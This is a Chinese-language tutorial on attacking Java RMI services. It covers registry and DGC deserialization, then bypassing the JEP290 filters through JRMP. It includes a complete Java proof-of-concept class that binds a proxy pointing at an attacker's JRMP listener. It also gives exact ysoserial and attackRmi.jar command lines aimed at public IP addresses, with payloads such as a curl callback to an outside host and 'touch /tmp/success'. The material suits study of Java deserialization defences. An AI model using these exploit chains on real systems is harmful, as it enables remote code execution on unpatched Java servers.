前言
RMI服务的攻击维度分成四个方向
- 探测利用开放的RMI服务
- 基于RMI服务反序列化过程的攻击
- 利用RMI的动态加载特性的攻击利用
- 结合JNDI注入

RMI服务端反序列化攻击RMI注册端
反序原理
sun.rmi.registry.RegistryImpl_Skel#dispatch:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一处接口hash验证if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {//设定变量开始处理请求//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法RegistryImpl var6 = (RegistryImpl)var1;//接受客户端输入流的参数变量String var7;Remote var8;ObjectInput var10;ObjectInput var11;//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句//super.ref.newCall(this, operations, 0, 4905912898345647071L);switch(var3) {//统一删除了try等语句case 0://bind(String,Remote)分支var11 = var2.getInputStream();//1.反序列化触发处var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();var6.bind(var7, var8);case 1://list()分支var2.releaseInputStream();String[] var97 = var6.list();ObjectOutput var98 = var2.getResultStream(true);var98.writeObject(var97);case 2://lookup(String)分支var10 = var2.getInputStream();//2.反序列化触发处var7 = (String)var10.readObject();var8 = var6.lookup(var7);case 3://rebind(String,Remote)分支var11 = var2.getInputStream();//3.反序列化触发处var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();var6.rebind(var7, var8);case 4://unbind(String)分支var10 = var2.getInputStream();//4.反序列化触发处var7 = (String)var10.readObject();var6.unbind(var7);default:throw new UnmarshalException("invalid method number");}}}
可以得到4个反序列化触发处:lookup、unbind、rebind、bind。
虽然我们看到RMI注册端的解析过程是直接反序列化传参,看样子String和Remote的参数位置都是可以的,但还是会摇摆不定。
但事实是 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
首先漏洞环境用的是这个https://github.com/lalajun/RMIDeserialize项目。包含了CC链。

首先用8u66启动环境。然后用yso的RMIRegistryExploit模块攻击

成功弹出计算器

JEP290修复
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。

RMI DGC层反序列化
这里是用的JRMPClient 模块打的

攻击效果相同

JEP290修复
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
利用JRMP反序列化绕过JEP290
这次我们使用JRMPListener

受害靶机还是上文中的。
然后运行github里的Bypass290_proxy
package com.lala;import sun.rmi.server.UnicastRef;import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.RemoteRef;public class Bypass290_proxy {public static class PocHandler implements InvocationHandler, Serializable {private RemoteRef ref;protected PocHandler(RemoteRef newref) {ref = newref;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {return this.ref;}}//让受害者主动去连接的攻击者的JRMPlister的host和portpublic static UnicastRef generateUnicastRef(String host, int port) {java.rmi.server.ObjID objId = new java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);return new sun.rmi.server.UnicastRef(liveRef);}public static void main(String[] args) throws Exception{// String jrmpListenerHost = "47.102.137.160";//远程测试String jrmpListenerHost = "127.0.0.1";//本地测试int jrmpListenerPort = 1199;UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));Registry registry = LocateRegistry.getRegistry(1099);//本地测试// Registry registry = LocateRegistry.getRegistry("47.102.137.160",1099);//远程测试registry.bind("2333", remote);}}

这其实就是ysoserial.exploit.JRMPListener模块的攻击逻辑
8u231之前都可以用
原理请看https://xz.aliyun.com/t/7932
为什么?
因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload
bind的局限性
当我们在本地进行试验的时候,使用高于8u141的版本也是可以命令执行的。这会形成一种不受版本限制的错觉。
但实际上在远程攻击的时候,这种攻击是有局限性的。

但是这种姿势只能本地执行,我把它放到服务器上就不行了。
与RMI客户端反序列化攻击RMI服务端-Lookup结合
这个工具就是github上的RMI-Bypass290.jar
同样的服务器上启动的环境
/root/javaexp/jdk1.8.0_221/bin/java -cp RMIDeserialize.jar com.lala.ServerAndRegister
然后
/root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "curl 47.97.123.81:11451"
然后
java -jar RMI-Bypass290.jar 47.97.123.81 1099 47.97.123.81 1199
即可在8u231之前攻击。

https://github.com/waderwu/attackRmi
我们也可以用工具完成攻击
java -jar attackRmi.jar LAUS 47.97.123.81 1099 47.97.123.81 1199 'touch /tmp/success'
前面的是受害机器的rmi ip端口。后面是自己启动jrmpListener端口。这里是把步骤二合一了,一并启动jrmpListener
或者是自行启动jrmpListener,然后运行
/root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "touch /tmp/success"java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRef 47.97.123.81 1099 47.97.123.81 1199
https://xz.aliyun.com/t/8247#toc-6 工具使用教程
来自An Trinh的另一种绕过JEP290的思路
这个可以绕过绕过8u231
复现—绕过8u231
这个用的就是上述工具的AttackRegistryByLookupAndUnicastRefRemoteObject
复现和上面那个差不多
总结
为什么能绕过JEP290
用JRMPListener+lookup
因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload
